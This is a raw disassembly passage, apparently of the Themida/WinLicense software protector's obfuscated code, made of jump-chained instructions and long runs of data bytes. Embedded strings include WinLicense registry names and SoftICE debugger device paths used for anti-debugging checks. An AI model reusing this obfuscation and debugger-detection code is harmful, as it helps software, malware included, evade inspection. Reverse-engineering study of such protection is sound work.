		db 59h,	28h, 0F0h
		dd 2CAAE952h, 0B850FFFFh, 4, 8358C301h,	1C8704EBh, 0DE94E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573BBA:				; CODE XREF: Themida_:005733E7j
		or	edi, 2C793AF5h
		and	edi, 73D93E7Ah
		add	edi, 427E39E9h
		push	esi
		mov	esi, 572129A5h
		add	edi, esi
		pop	esi
		add	edi, 702EAF6Ch
		sub	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [ecx]
		pop	eax
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		jmp	loc_56FC9B
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4EC8300h, 0BF243C89h, 2, 3754C281h, 0FA2930F5h
		dd 3754EA81h, 0E95F30F5h, 0FFFEE1C2h
; ---------------------------------------------------------------------------


loc_573C20:				; CODE XREF: Themida_:00562054j
		mov	ecx, 0EAD596E6h
		xor	esi, ecx
		pop	ecx
		push	23DFh
		mov	[esp], esi
		jmp	loc_570E48
; ---------------------------------------------------------------------------
		db 0ADh, 0E9h, 33h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573C3B:				; CODE XREF: Themida_:0056B185j
		push	dword ptr [edi+eax*4]
		push	5AF1h
		mov	[esp], eax
		push	esi
		jmp	loc_56D2BF
; ---------------------------------------------------------------------------


loc_573C4C:				; CODE XREF: Themida_:0056A3E4j
		pop	ecx
		pop	ecx
		and	ecx, esi
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		push	edx
		mov	edx, 55C219B4h
		jmp	loc_567696
; ---------------------------------------------------------------------------


loc_573C61:				; CODE XREF: Themida_:00572FF2j
		xor	ecx, [esp]
		jmp	loc_56BD68
; ---------------------------------------------------------------------------


loc_573C69:				; CODE XREF: Themida_:005675EAj
		xor	edx, [esp]
		jmp	loc_567075
; ---------------------------------------------------------------------------
		db 53h,	5Eh, 8Bh
		dd 0C483241Ch, 201CE904h, 0AEBEFFFFh, 11C744Ch,	48B5EF2h
		dd 4C48324h, 4245401h, 8324148Bh, 815B04C4h, 580D95EBh
		dd 5F295E5Ah, 241C8B24h, 0FF0686E9h, 1EA80FFh, 537DC280h
		dd 0FA30E4B7h, 0FF3244E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_573CB9:				; CODE XREF: Themida_:00568E1Bj
		pop	ecx
		mov	edi, [esp]
		jmp	loc_56BD4C
; ---------------------------------------------------------------------------
		dw 895Ah
		dd 24148BD7h, 4C481h, 46E90000h, 0FFFFFF72h, 34FF2434h
		dd 0C4815924h, 4, 10F768h, 325BE900h, 48BFFFFh,	4C48124h
		dd 33000000h, 2C31242Ch, 0E7BDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573CFE:				; CODE XREF: Themida_:005718A7j
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		push	edi
		mov	edi, 4
		push	ebp
		mov	ebp, 3A6211C6h
		jmp	loc_55F40D
; ---------------------------------------------------------------------------
		dd 350A76B9h, 0C7E98163h, 8145DD68h, 25458AF1h,	0E8E1813Bh
		dd 811AB334h, 23DF2EC1h, 0FFCB0920h, 81592434h,	4C4h, 0CBFAE900h
		dd 0EC83FFFEh, 241C8904h, 42474FFh, 56241C8Bh, 0B861E954h
		dd 8F58FFFEh, 248B2404h, 242C8924h, 0FECA3EE9h,	68E2D1FFh
		dd 4257h, 0FEC418E9h, 1AE951FFh, 5BFFFFF3h, 0CB96E956h
		dd 1C8BFFFFh, 0B905E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_573D86:				; CODE XREF: Themida_:00566982j
		pop	eax
		pop	small word ptr [eax]
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------


loc_573D8F:				; CODE XREF: Themida_:0056FA1Aj
		add	edi, ecx
		jmp	loc_57175A
; ---------------------------------------------------------------------------
		dw 0D101h
		dd 0FF8AC3E9h, 0BCBDFFh, 0EDC15681h, 0F2ED8105h, 4D2C582Fh
		dd 0C3FC581h, 85E94B89h, 87FFFFCBh, 815C241Ch, 4C1h, 685300h
		dd 0E900007Eh, 0FFFF4A30h
; ---------------------------------------------------------------------------


loc_573DCC:				; CODE XREF: Themida_:0055F326j
		xor	edi, eax
		pop	eax
		push	1B20h
		mov	[esp], edi
		jmp	loc_56D3AB
; ---------------------------------------------------------------------------


loc_573DDC:				; CODE XREF: Themida_:0055FF43j
		mov	ecx, 4
		mov	edx, ecx
		pop	ecx
		add	ebx, edx
		pop	edx
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_56FA7A
; ---------------------------------------------------------------------------
		dd 815BD929h, 91232EBh,	81CB293Ah, 91232C3h, 0C381593Ah
		dd 411E4744h, 0EB81C301h, 411E4744h, 375CC381h,	0F664D5Dh
		dd 39E900B6h, 80FFFFD4h, 2DE96FEEh, 28FFFED9h, 1088E9F3h
		dd 5166FFFFh, 0FF57DCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_573E39:				; CODE XREF: Themida_:00563782j
		mov	ebx, [esp]
		add	esp, 4
		push	5AE8h
		mov	[esp], ebx
		push	esi
		push	1522691Bh
		jmp	loc_56E1AB
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 0E9000000h, 0FFFED957h, 0CC3033B1h, 0FEB6B0E9h, 48F54FFh
		dd 24048324h, 0F6BEE904h, 0C4B9FFFEh, 0E9EB6108h, 0FFFFD8EBh
; ---------------------------------------------------------------------------


loc_573E80:				; CODE XREF: Themida_:0055FD07j
		add	esp, 4
		add	esp, 4
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------


loc_573E91:				; CODE XREF: Themida_:0056CDDCj
		mov	dh, bh
		mov	al, dh
		jmp	loc_570EEA
; ---------------------------------------------------------------------------


loc_573E9A:				; CODE XREF: Themida_:005727D1j
		pop	edx
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_562A80
; ---------------------------------------------------------------------------
		dd 2869F8B9h, 81D1F70Ah, 0A90081F1h, 81D1F72Ch,	2E3688F1h
		dd 58C9E94Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573EC6:				; CODE XREF: Themida_:005651C5j
		pop	esp
		push	ecx
		push	5B19h
		jmp	loc_571EFD
; ---------------------------------------------------------------------------


loc_573ED2:				; CODE XREF: Themida_:00563738j
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_56336F
; ---------------------------------------------------------------------------


loc_573EE3:				; CODE XREF: Themida_:00568AEEj
		push	ebx
		push	eax
		jmp	loc_562A6D
; ---------------------------------------------------------------------------


loc_573EEA:				; CODE XREF: Themida_:0055F421j
		and	ebp, 500D1FCEh
		xor	ebp, 37A736C8h
		add	eax, 56DF1314h
		add	eax, ebp
		sub	eax, 56DF1314h
		pop	ebp
		sub	eax, edi
		sub	eax, 67AE2382h
		push	dword ptr [esp]
		jmp	loc_5620D5
; ---------------------------------------------------------------------------
		dw 5066h
		dd 3922E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573F1A:				; CODE XREF: Themida_:0056D5B5j
		sub	esi, 24D159E2h
		jmp	loc_56D542
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 8104C483h, 1701F7C3h, 0EEB95145h, 0E966B21Fh, 0FFFF4C3Ah
		dd 0E924248Bh, 0FFFFD1BFh, 5C35C281h, 0C2810612h, 0DE20938h
		dd 0EA81CA01h, 0DE20938h, 5C35EA81h, 81590612h,	5B8F70C2h
		dd 8BD601E7h, 0C4812414h, 4, 76A768h, 24348900h, 0FEBFB1E9h
		dd 0E38953FFh, 4C381h, 0C3830000h, 241C3302h, 33241C31h
		dd 60E9241Ch, 21FFFECCh, 50525FFBh, 0FECC28E9h,	3CE9FFh
		dd 0DB6D0000h, 535517C4h, 32335245h, 6C6C642Eh,	56444100h
		dd 33495041h, 6C642E32h, 544E006Ch, 2E4C4C44h, 6C6C64h
		dd 907D7h, 1A0003h, 150002h, 2CD0029h, 0
		dd 68E90000h, 68000008h, 6A89695h, 0FDE7D6E9h, 971468FFh
		dd 0CCE906A8h, 68FFFDE7h, 6A89813h, 0FDE7C2E9h,	994168FFh
		dd 0B8E906A8h, 68FFFDE7h, 6A8999Fh, 0FDE7AEE9h,	9AB768FFh
		dd 0A4E906A8h, 68FFFDE7h, 6A89B1Fh, 0FDE79AE9h,	779D4AFFh
		dd 0A14B133Ah, 0D2382914h, 6E8F847h, 36E08C8Bh,	0E20DA0FBh
		dd 0B29D28FEh, 45C05DB3h, 16318C5Ah, 363BE54h, 7FA9DA7Dh
		dd 0CBF3364h, 0FDD7A36h, 0C46B8E1h, 24A169D5h, 0AA2C8FE9h
		dd 7D3EB2F5h, 4CFD2BD6h, 37A30052h, 0CB56A8F3h,	96571540h
		dd 0A446F17Fh, 4ADE32F2h, 24A12950h, 0C42C8FE9h, 0EAD9947Eh
		dd 19C976F0h, 2D39BCA0h, 40B2EBC7h, 6C7ED954h, 0BEA32186h
		dd 0D578AE6Bh, 6DA93h, 0F319CE00h, 25CF9FA6h, 56BCADE8h
		dd 826C7CDBh, 0B2640837h, 6E892467h, 3E199442h,	0C974C12Fh
		dd 9AA5F026h, 8F9722C8h, 7F3D5601h, 0F8233364h,	0DDD7ABAh
		dd 4266DE7h, 9657BFEEh,	0BB46F17Fh, 493EB47Eh, 85A81751h
		dd 778F1553h, 6E8EC1D8h, 0BCD566E4h, 0A2336400h, 0D8673A48h
		dd 0DE85E335h, 8E23940Ch, 90336400h, 0A31F4E3Ah, 572DC7E4h
		dd 618B5FF6h, 8F6AB6FEh, 0C0242995h, 65Bh, 39749E4Fh, 17A2481Eh
		dd 44D13B28h, 8805EBF9h, 0F835E38Dh, 0C1E30CA1h, 0ACB39A17h
		dd 0A548F742h, 4B1F2673h, 800E14A1h, 647EBAD7h,	3979AC33h
		dd 0BC1F875Bh, 35CCE917h, 94B5A119h, 0DA836979h, 0C145BF7Bh
		dd 0F0FEA82Ah, 5E69h, 875B2900h, 7A86D06Dh, 6FE533DDh
		dd 0CCE9832Ch, 1CA58535h, 0AFC9A54Fh, 0E91DB621h, 0C40335CCh
		dd 441E0AE4h, 8D88450Dh, 0EDFE65E3h, 0E9DF7407h, 0E9C135CCh
		dd 2FA2159Bh, 353EB21Bh, 436393DDh, 2D253984h, 18F156Fh
		dd 23B3D07Bh, 4DA5336Ah, 33E58837h, 62B45FE6h, 5B1BD3Bh
		dd 7AE50000h, 0E9365BFCh, 0C23835CCh, 0B55F03B0h, 15BF3E94h
		dd 12F8EE6Bh, 8B2C4A26h, 3EB2DC67h, 6ED5930Fh, 81C09278h
		dd 0F34EA486h, 0F422CE75h, 0ED57967Eh, 3C3A16FCh, 124DEB9Bh
		dd 49178338h, 9C29FFE2h, 21588EB1h, 0B116FCEEh,	8EE98B07h
		dd 5C2F49FCh, 48000005h, 1D38759Fh, 2F16A349h, 0FA45D03Ah
		dd 8E8904EAh, 0A2F934E2h, 16C0EC0Bh, 43ADBC9Bh,	72A44FF6h
		dd 0A04A1827h, 28830D15h, 336471BBh, 7A387AADh,	91E309DDh
		dd 0B3EA0022h, 0F0F74E1Ch, 87736F1Eh, 41B37FE6h, 0CCEB7B9Fh
		dd 78E94235h, 6E35CCEBh, 71A99874h, 0C5F0FEA6h,	0D2A04E1Eh
		dd 0FFFEF2B9h, 8A7A79FFh, 3526EC2Ah, 0AE156F89h, 0F40856BCh
		dd 4B75D94Eh, 2F2EC9Dh,	0B4B20CBAh, 0CC5BEE03h,	481AF035h
		dd 15F0EDE5h, 4466CD4Bh, 8F63D4AEh, 173EB24Dh, 65606EBBh
		dd 4161CEA8h, 0E04BD9ABh, 38143596h, 50ACCA20h,	0DC9CD7C4h
		dd 1B8AD8DCh, 801C4EF8h, 709A4838h, 38A086C9h, 801C729Fh
		dd 928E6438h, 0D72DF5EBh, 6A985056h, 0B25D33EEh, 13072FDh
		dd 9300000h, 8D884545h,	0F5F648E3h, 6AD13EB2h, 67DC967Ch
		dd 9214378Bh, 931540CAh, 1ABDBB52h, 0DE32F160h,	0E5ED9C76h
		dd 0D36E7EE8h, 5C46E731h, 0E9C53960h, 7DC42C8Fh, 0F0EAD994h
		dd 8F399E76h, 0D1F79F3Fh, 0B4B61D83h, 6644C35Eh, 348F1B8Ch
		dd 2D20AE6Ch, 42ECBh, 0A74D1A00h, 0D13B236Ah, 2E8F944h
		dd 36D888B7h, 66B05CFBh, 0B23D902Bh, 42CD588Eh,	15308D63h
		dd 2661BC6Ah, 0D353EE04h, 7079EA4Dh, 3C6F3364h,	24E11C66h
		dd 7EDE913Ah, 7D843EB4h, 7ED9876Dh, 33647CD5h, 75F3EFDBh
		dd 0B8F523CEh, 524F29Dh, 8DF218CAh, 958FBE1Fh, 0D05791B4h
		dd 0C4000003h, 91BC09E3h, 5BE23FD5h, 76D16C86h,	20D9876h
		dd 2E7DC81Eh, 0AA7C608Fh, 0DF31301Fh, 0ED8FB42h, 3CD694B3h
		dd 5CFF81E1h, 33647037h, 5BB48E39h, 17BC1F87h, 1935CCE9h
		dd 5894B5A1h, 0E9C879D2h, 0E0DE35CCh, 659157DFh, 0B1C3BF50h
		dd 93CA2002h, 528C86ACh, 35CC9738h, 9654F37Dh, 0D70FE67Ch
		dd 92F0FEDAh, 0FFFFFD5Fh, 6D875B10h, 0FE17D63Ch, 0DB57C770h
		dd 0CB273EB2h, 8A7A247Eh, 1B6FD681h, 827FF53Bh,	3FAFBB1h
		dd 0D67CF265h, 0D37A3EB2h, 58BAE30Dh, 21242F68h, 0F0EC54B6h
		dd 224FE876h, 34336A97h, 47C484DEh, 0DB836230h,	0BFB95491h
		dd 0F297E1Ch, 27C97090h, 86405F1h, 52BCA3h, 521CF9F4h
		dd 917B6FD4h, 0A649F6E8h, 9FD5C970h, 0D605D43Ch, 86E0DA8Bh
		dd 0BBE208D9h, 19A70D47h, 5A0DA4E5h, 0B15B96D5h, 96CBBB68h
		dd 0DD62F00Ch, 8122950Dh, 9789C621h, 699A3D3Bh,	7F89C621h
		dd 121A9783h, 0B59B7B5h, 0DB4CA684h, 0E02D8AC3h, 0B81751F4h
		dd 0EC000002h, 0B98411FBh, 43CA47ADh, 1E39749Eh, 2A15A04Eh
		dd 645D006h, 0B26408A7h, 0E709D867h, 16C0E3AAh,	44AEBC9Bh
		dd 74E769C9h, 336473DFh, 1C9CA6C1h, 913A24E1h, 3EB47EC4h
		dd 913E3892h, 913E38EEh, 9B033AD0h, 31B4C4B6h, 3D3723CDh
		dd 0E036D964h, 0DA8837B9h, 0DF950930h, 27987270h, 958FCB5Dh
		dd 50D51332h, 44000002h, 113C8963h, 0DB62BF55h,	0F651EC06h
		dd 828D18F6h, 0AEFD489Eh, 2AFCE00Fh, 5FB1B09Fh,	8E587BC2h
		dd 0BC561433h, 0DC7F0161h, 336472B7h, 1C340EB9h, 9E7077E1h
		dd 5907F3EFh, 5F19CFF2h, 0CCE957FCh, 13615935h,	7E0D2A8Dh
		dd 6CEA3EB4h, 5E0FE1C7h, 7FBAD764h, 36AC3364h, 4D2B873Ch
		dd 759E39C7h, 7B33647Fh, 9C4EF58Fh, 0A05B3B76h,	0E3DF3536h
		dd 7FA7D285h, 68C3364h,	647F3C55h, 0DE343233h, 843B49A1h
		dd 2CD07F2Eh, 7F822F88h, 3E943364h, 9DA41B42h, 0EAE825F3h
		dd 0E14A14F1h, 33647F48h, 4DEA746Eh, 43E2709Eh,	9F34A72Dh
		dd 8133647Fh, 20E62E2Dh, 4F0907Ch, 0D8A7F82Ch, 273D2337h
		dd 5073CA98h, 0CF3AA86h, 0E18F6545h, 0CB53F05Bh, 3E453364h
		dd 0A9D6C228h, 0CA3455BBh, 8C5EF9B8h, 1EDAC766h, 0C81A68B4h
		dd 0C976F01Ah, 5549F026h, 0E7FB421Fh, 0E5C4630Dh, 0B9D4790Bh
		dd 3B184197h, 1BCF1D77h, 3168BEA2h, 0F944D1CDh,	0F86701D7h
		dd 0D84D07E9h, 0A54803E7h, 319ACA73h, 3364CB90h, 7E632C86h
		dd 0BA74F594h, 1599C948h, 0D5032DFFh, 5D3FD58h,	0D0062964h
		dd 0AE4466A9h, 7F9150FFh, 41F812D0h, 1594EE20h,	0DA11ED6Bh
		dd 666FD400h, 11638FC5h, 0BAF721C3h, 9721CF93h,	234C89B2h
		dd 0E74C2A06h, 806A7CC1h, 2C6FDE94h, 0CBE9DB49h, 9240B27Eh
		dd 0A0EF3AD0h, 0F60E6882h, 0DB292B33h, 8223318Ch, 0D677A143h
		dd 62B0C2EEh, 30CCAA40h, 0ED8C8DD4h, 0D46DE7FFh, 0EA937969h
		dd 3A24E11Ch, 0AE27E991h, 0F4678D81h, 0F00E375Fh, 0C3293A41h
		dd 504C389Ah, 76DD5BC5h, 52FF9C4Ah, 3F00E37h, 0EF2140EBh
		dd 108AA581h, 0C23BBA42h, 321433A4h, 8C2BFB76h,	0AC1637E1h
		dd 0D88179D6h, 544A7894h, 0FBFC8946h, 39608A5Ch, 22008FC5h
		dd 2501AEC8h, 70FCB5CFh, 6BF913CBh, 0BDEC0624h,	1234CC1Eh
		dd 5AB0B2E8h, 0C6DBBB23h, 6FB47591h, 0B1E80220h, 9011634Fh
		dd 5A88FAA6h, 68D76288h, 48D6907Ah, 1AE842EFh, 0E47E54E8h
		dd 0B05E0E41h, 0B55B09B6h, 0F5582A94h, 0F7255F5Bh, 769C4AF3h
		dd 22000F9Ah, 85791C8h,	0D9000000h, 0CA984E72h,	5B821EB6h
		dd 9E316882h, 0C80726CCh, 3B4AF325h, 7C93CA24h,	0A8E78650h
		dd 0E42B5284h, 0DC732AC4h, 944E50Fh, 0A496B75Dh, 0B468h
		dd 24048900h, 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h
		dd 89502404h, 405E0h, 42D0000h,	87000000h, 895C2404h
		dd 0B951241Ch, 71DF0375h, 2E1C149h, 9BC1F181h, 0C889C1D4h
		dd 81240C8Bh, 4C4h, 43586800h, 24890000h, 24048124h, 4
		dd 4EC835Bh, 0BA241489h, 8, 289DA01h, 241C8B5Ah, 81E38953h
		dd 4C3h, 4C38100h, 87000000h, 8B5C241Ch, 89562404h, 4C681E6h
		dd 81000000h, 4C6h, 24348700h, 0DF79E95Ch, 0B8AFFFFDh
		dd 6A89D94h, 0E0FFC503h, 3F8E2AD7h, 1E52431Dh, 0FB0FA8Ah
		dd 4E831F88h, 3B80D100h, 14E8h,	279A8000h, 0DB3D1A8Fh
		dd 32353495h, 0B15D2D52h, 0B24763E9h, 0D681668Ah, 0E95A7A6Ah
		dd 8, 0CAFA384Bh, 518E6E26h, 6F16C281h,	57B90000h, 685B786Ah
		dd 0
		dd 3820Fh, 0BF0F0000h, 3C8B5BCAh, 65C8811Ah, 81179230h
		dd 6F8260EFh, 34EBBE61h, 0C7816DC0h, 5E18DB82h,	0AFD0EF81h
		dd 0B1573F0Ah, 1A048FA1h, 9E960F5h, 2E000000h, 0BF8A0AD4h
		dd 2904E432h, 0AE9h, 6AACBE00h,	0A5B3D6FDh, 61E8AED3h
		dd 6604EB83h, 812BAEB8h, 0FF91C8FBh, 2A850FFFh,	0F000000h
		dd 0B85h, 5830F00h, 0BE000000h,	39038AB7h, 32E9h, 384FC400h
		dd 722BE86Eh, 6ABA805Fh, 7CFBB5Bh, 0C3386A99h, 8BF860A9h
		dd 73E961F1h, 7BFFFFFFh, 1372970Ah, 0E7A1D07h, 0E98B0AB7h
		dd 1701A7B5h, 0E97048E2h, 8Dh, 49BD8360h, 6A62Ah, 5840Fh
		dd 78E90000h, 6A000000h, 303E8000h, 8850Fh, 6A0000h, 35E946h
		dd 3E800000h, 8850F33h,	6A000000h, 24E94610h, 80000000h
		dd 850F343Eh, 8, 0E946306Ah, 13h, 0F353E80h, 885h, 46406A00h
		dd 2E9h, 80006A00h, 850F203Eh, 12h, 17E80h, 8850Fh, 0C4830000h
		dd 15E908h, 858D0000h, 6A62605h, 24048950h, 6A965096h
		dd 0B195FF00h, 6106A60Ah, 2985C6C3h, 4D06A60Ch,	0DBA91C68h
		dd 243481C3h, 67EEDFB4h, 3305B5FFh, 858D06A6h, 6A63AC3h
		dd 8589D0FFh, 6A60AB1h,	0AAE9h,	666F5300h, 72617774h, 69575C65h
		dd 63694C6Eh, 65736E65h, 65684300h, 4E496B63h, 72705800h
		dd 7845746Fh, 43007469h, 6B636568h, 54554Fh, 4C6E6957h
		dd 6E656369h, 65566573h, 6F697372h, 6957006Eh, 63694C6Eh
		dd 65736E65h, 76697244h, 65567265h, 6F697372h, 6957006Eh
		dd 63694C6Eh, 65736E65h, 74736E49h, 65636E61h, 69784500h
		dd 6B4F74h, 636F7250h, 50004E49h, 4F636F72h, 45005455h
		dd 49746978h, 7845004Eh, 554F7469h, 70540054h, 4E49h, 2	dup(0)
		dd 7F000000h, 0F077DDAFh, 0E977DD72h, 596h, 0A08F8589h
		dd 858D06A8h, 6A8A08Bh,	0F5858D50h, 5006A89Fh, 168h, 9B95FF80h
		dd 6A06A8A0h, 8FB5FF19h, 6A06A8A0h, 8D006A01h, 0A8A02485h
		dd 0B5FF5006h, 6A8A08Bh, 1A6595FFh, 0B5FF06A6h,	6A8A08Bh
		dd 0A09795FFh, 0B5FF06A8h, 6A8A08Bh, 1B3595FFh,	89C306A6h
		dd 0A8A08F85h, 8B858D06h, 5006A8A0h, 9FF5858Dh,	685006A8h
		dd 80000001h, 0A09B95FFh, 46A06A8h, 0A08F858Dh,	6A5006A8h
		dd 8D006A04h, 0A8A04E85h, 0B5FF5006h, 6A8A08Bh,	1A6595FFh
		dd 0B5FF06A6h, 6A8A08Bh, 0A09795FFh, 0B5FF06A8h, 6A8A08Bh
		dd 1B3595FFh, 89C306A6h, 0A8A08F85h, 8B858D06h,	5006A8A0h
		dd 9FF5858Dh, 685006A8h, 80000001h, 0A09B95FFh,	46A06A8h
		dd 0A08F858Dh, 6A5006A8h, 8D006A04h, 0A8A03685h, 0B5FF5006h
		dd 6A8A08Bh, 1A6595FFh,	0B5FF06A6h, 6A8A08Bh, 0A09795FFh
		dd 0B5FF06A8h, 6A8A08Bh, 1B3595FFh, 89C306A6h, 0A8A08F85h
		dd 8B858D06h, 5006A8A0h, 9FF5858Dh, 685006A8h, 80000001h
		dd 0A09B95FFh, 46A06A8h, 0A08F858Dh, 6A5006A8h,	8D006A04h
		dd 0A8A06185h, 0B5FF5006h, 6A8A08Bh, 1A6595FFh,	0B5FF06A6h
		dd 6A8A08Bh, 0A09795FFh, 0B5FF06A8h, 6A8A08Bh, 1B3595FFh
		dd 89C306A6h, 0A8A08F85h, 8B858D06h, 5006A8A0h,	9FF5858Dh
		dd 685006A8h, 80000001h, 0A09B95FFh, 46A06A8h, 0A08F858Dh
		dd 6A5006A8h, 8D006A04h, 0A8A01185h, 0B5FF5006h, 6A8A08Bh
		dd 1A6595FFh, 0B5FF06A6h, 6A8A08Bh, 0A09795FFh,	0B5FF06A8h
		dd 6A8A08Bh, 1B3595FFh,	83C306A6h, 0A60929BDh, 840F0006h
		dd 0Bh,	9299D8Bh, 0C38306A6h, 0C303894Ch, 929BD83h, 0F0006A6h
		dd 0B84h, 299D8B00h, 8306A609h,	38950C3h, 29BD83C3h, 6A609h
		dd 0B840Fh, 9D8B0000h, 6A60929h, 8954C383h, 0BD83C303h
		dd 6A60929h, 0B840F00h,	8B000000h, 0A609299Dh, 58C38306h
		dd 83C30389h, 0A60929BDh, 840F0006h, 0Bh, 9299D8Bh, 0C38306A6h
		dd 0C303895Ch, 858960C3h, 6A8A08Fh, 0A08B858Dh,	8D5006A8h
		dd 0A89FF585h, 1685006h, 0FF800000h, 0A8A09B95h, 8D046A06h
		dd 0A8A08F85h, 46A5006h, 858D006Ah, 6A8A086h, 8BB5FF50h
		dd 0FF06A8A0h, 0A61A6595h, 0A5BD8306h, 6A61Eh, 0C840Fh
		dd 0B5FF0000h, 6A8A08Bh, 0A09795FFh, 0B5FF06A8h, 6A8A08Bh
		dd 1B3595FFh, 0C36106A6h, 8F858960h, 8D06A8A0h,	0A8A08B85h
		dd 858D5006h, 6A89FF5h,	16850h,	95FF8000h, 6A8A09Bh, 858D046Ah
		dd 6A8A08Fh, 6A046A50h,	68858D00h, 5006A8A0h, 0A08BB5FFh
		dd 95FF06A8h, 6A61A65h,	1EA5BD83h, 0F0006A6h, 0C84h, 8BB5FF00h
		dd 0FF06A8A0h, 0A8A09795h, 8BB5FF06h, 0FF06A8A0h, 0A61B3595h
		dd 60C36106h, 0A08F8589h, 858D06A8h, 6A8A08Bh, 0F5858D50h
		dd 5006A89Fh, 168h, 9B95FF80h, 6A06A8A0h, 8F858D04h, 5006A8A0h
		dd 6A046Ah, 0A06F858Dh,	0FF5006A8h, 0A8A08BB5h,	6595FF06h
		dd 8306A61Ah, 0A61EA5BDh, 840F0006h, 0Ch, 0A08BB5FFh, 95FF06A8h
		dd 6A8A097h, 0A08BB5FFh, 95FF06A8h, 6A61B35h, 8960C361h
		dd 0A8A08F85h, 8B858D06h, 5006A8A0h, 9FF5858Dh,	685006A8h
		dd 80000001h, 0A09B95FFh, 46A06A8h, 0A08F858Dh,	6A5006A8h
		dd 8D006A04h, 0A8A07785h, 0B5FF5006h, 6A8A08Bh,	1A6595FFh
		dd 0BD8306A6h, 6A61EA5h, 0C840F00h, 0FF000000h,	0A8A08BB5h
		dd 9795FF06h, 0FF06A8A0h, 0A8A08BB5h, 3595FF06h, 6106A61Bh
		dd 858960C3h, 6A8A08Fh,	0A08B858Dh, 8D5006A8h, 0A89FF585h
		dd 1685006h, 0FF800000h, 0A8A09B95h, 8D046A06h,	0A8A08F85h
		dd 46A5006h, 858D006Ah,	6A8A07Eh, 8BB5FF50h, 0FF06A8A0h
		dd 0A61A6595h, 0A5BD8306h, 6A61Eh, 0C840Fh, 0B5FF0000h
		dd 6A8A08Bh, 0A09795FFh, 0B5FF06A8h, 6A8A08Bh, 1B3595FFh
		dd 0C36106A6h, 8F85C760h, 106A8A0h, 8D000000h, 0A8A08B85h
		dd 858D5006h, 6A89FF5h,	26850h,	95FF8000h, 6A8A09Bh, 840FC00Bh
		dd 0Fh,	0A08F85C7h, 6A8h, 4DE90000h, 6A000000h,	8F858D04h
		dd 5006A8A0h, 6A046Ah, 0A009858Dh, 0FF5006A8h, 0A8A08BB5h
		dd 6595FF06h, 0B06A61Ah, 0F840FC0h, 0C7000000h,	0A8A08F85h
		dd 6, 0AE900h, 85C70000h, 6A8A08Fh, 1, 0A08BB5FFh, 95FF06A8h
		dd 6A61B35h, 8F858B61h,	0C306A8A0h, 8F858960h, 8D06A8A0h
		dd 0A8A08B85h, 858D5006h, 6A89FF5h, 16850h, 95FF8000h
		dd 6A8A09Bh, 858D046Ah,	6A8A08Fh, 6A046A50h, 9858D00h
		dd 5006A8A0h, 0A08BB5FFh, 95FF06A8h, 6A61A65h, 1EA5BD83h
		dd 0F0006A6h, 0C84h, 8BB5FF00h,	0FF06A8A0h, 0A8A09795h
		dd 8BB5FF06h, 0FF06A8A0h, 0A61B3595h, 60C36106h, 0A08F8589h
		dd 858D06A8h, 6A8A08Bh,	0F5858D50h, 5006A89Fh, 168h, 9B95FF80h
		dd 6A06A8A0h, 8F858D04h, 5006A8A0h, 6A046Ah, 0A01B858Dh
		dd 0FF5006A8h, 0A8A08BB5h, 6595FF06h, 8306A61Ah, 0A61EA5BDh
		dd 840F0006h, 0Ch, 0A08BB5FFh, 95FF06A8h, 6A8A097h, 0A08BB5FFh
		dd 95FF06A8h, 6A61B35h,	85C6C361h, 6A60C29h, 7B076852h
		dd 0B5FFADE4h, 6A615C5h, 314D95FFh, 858906A6h, 6A8A09Bh
		dd 0C2985C6h, 685206A6h, 902E00E5h, 15C5B5FFh, 95FF06A6h
		dd 6A6314Dh, 0A0978589h, 85C606A8h, 6A60C29h, 12356852h
		dd 0B5FFB9BFh, 6A615C5h, 314D95FFh, 858906A6h, 6A61A65h
		dd 0C2985C6h, 685206A6h, 98781034h, 15C5B5FFh, 95FF06A6h
		dd 6A6314Dh, 1B358589h,	85C606A6h, 6A60C29h, 0DBD46852h
		dd 0B5FFC005h, 6A615C5h, 314D95FFh, 858906A6h, 6A6017Dh
		dd 5C5C1EEBh, 49535C2Eh, 5C004543h, 535C2E5Ch, 49565749h
		dd 5C5C0044h, 544E5C2Eh, 454349h, 8D89C08Bh, 6A62AFDh
		dd 1EA5BD83h, 750006A6h, 9DBD8309h, 6A62Fh, 53501974h
		dd 0FB8C08Bh, 89000004h, 0A62AD185h, 6C9D8D06h,	0FF06A8A5h
		dd 83585BD3h, 0A62F9DBDh, 17740006h, 0FB85350h,	89000004h
		dd 0A62AD185h, 5B9D8D06h, 0FF06A8A2h, 0FC585BD3h, 0C9858957h
		dd 5A06A613h, 840FC08Bh, 3, 0C6BCE280h,	0A60C2985h, 6A4306h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0F3F39DC3h, 0EE8C7609h, 0D3B70F0Ah, 68F2B70Fh, 7E5F79AFh
		dd 4D240481h, 8B3E2EF5h, 0A6164195h, 8DB5FF06h,	6A06A62Fh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 6ECFC350h, 69BAC995h, 0E9858954h,	8D06A62Eh
		dd 0A63AC385h, 13E906h,	0BBED0000h, 0DC12D329h,	4D6C90CBh
		dd 7DAB23D4h, 62E89F1Bh, 0E8D0FF14h, 9,	6971E4B5h, 0D1E95F11h
		dd 16CFB992h, 815E0CE5h, 0AE88C4CEh, 0F1B5500Ch, 66240489h
